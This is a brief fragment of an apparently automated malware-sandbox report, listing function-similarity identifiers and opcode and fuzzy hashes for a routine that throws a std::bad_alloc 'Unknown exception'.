                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
                                                          • String ID: Unknown exception
                                                          • API String ID: 3561508498-410509341
                                                          • Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                          • Instruction ID: 1477e2406f5e595a8e5dcda78f63586bd11ec8c0c6edb8a2396d6f26a02985da
                                                          • Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                          • Instruction Fuzzy Hash: 5ED01732A6898691DF20FB04D8953A8E336FB90308FE04431E64E825B1EF2CD64BD320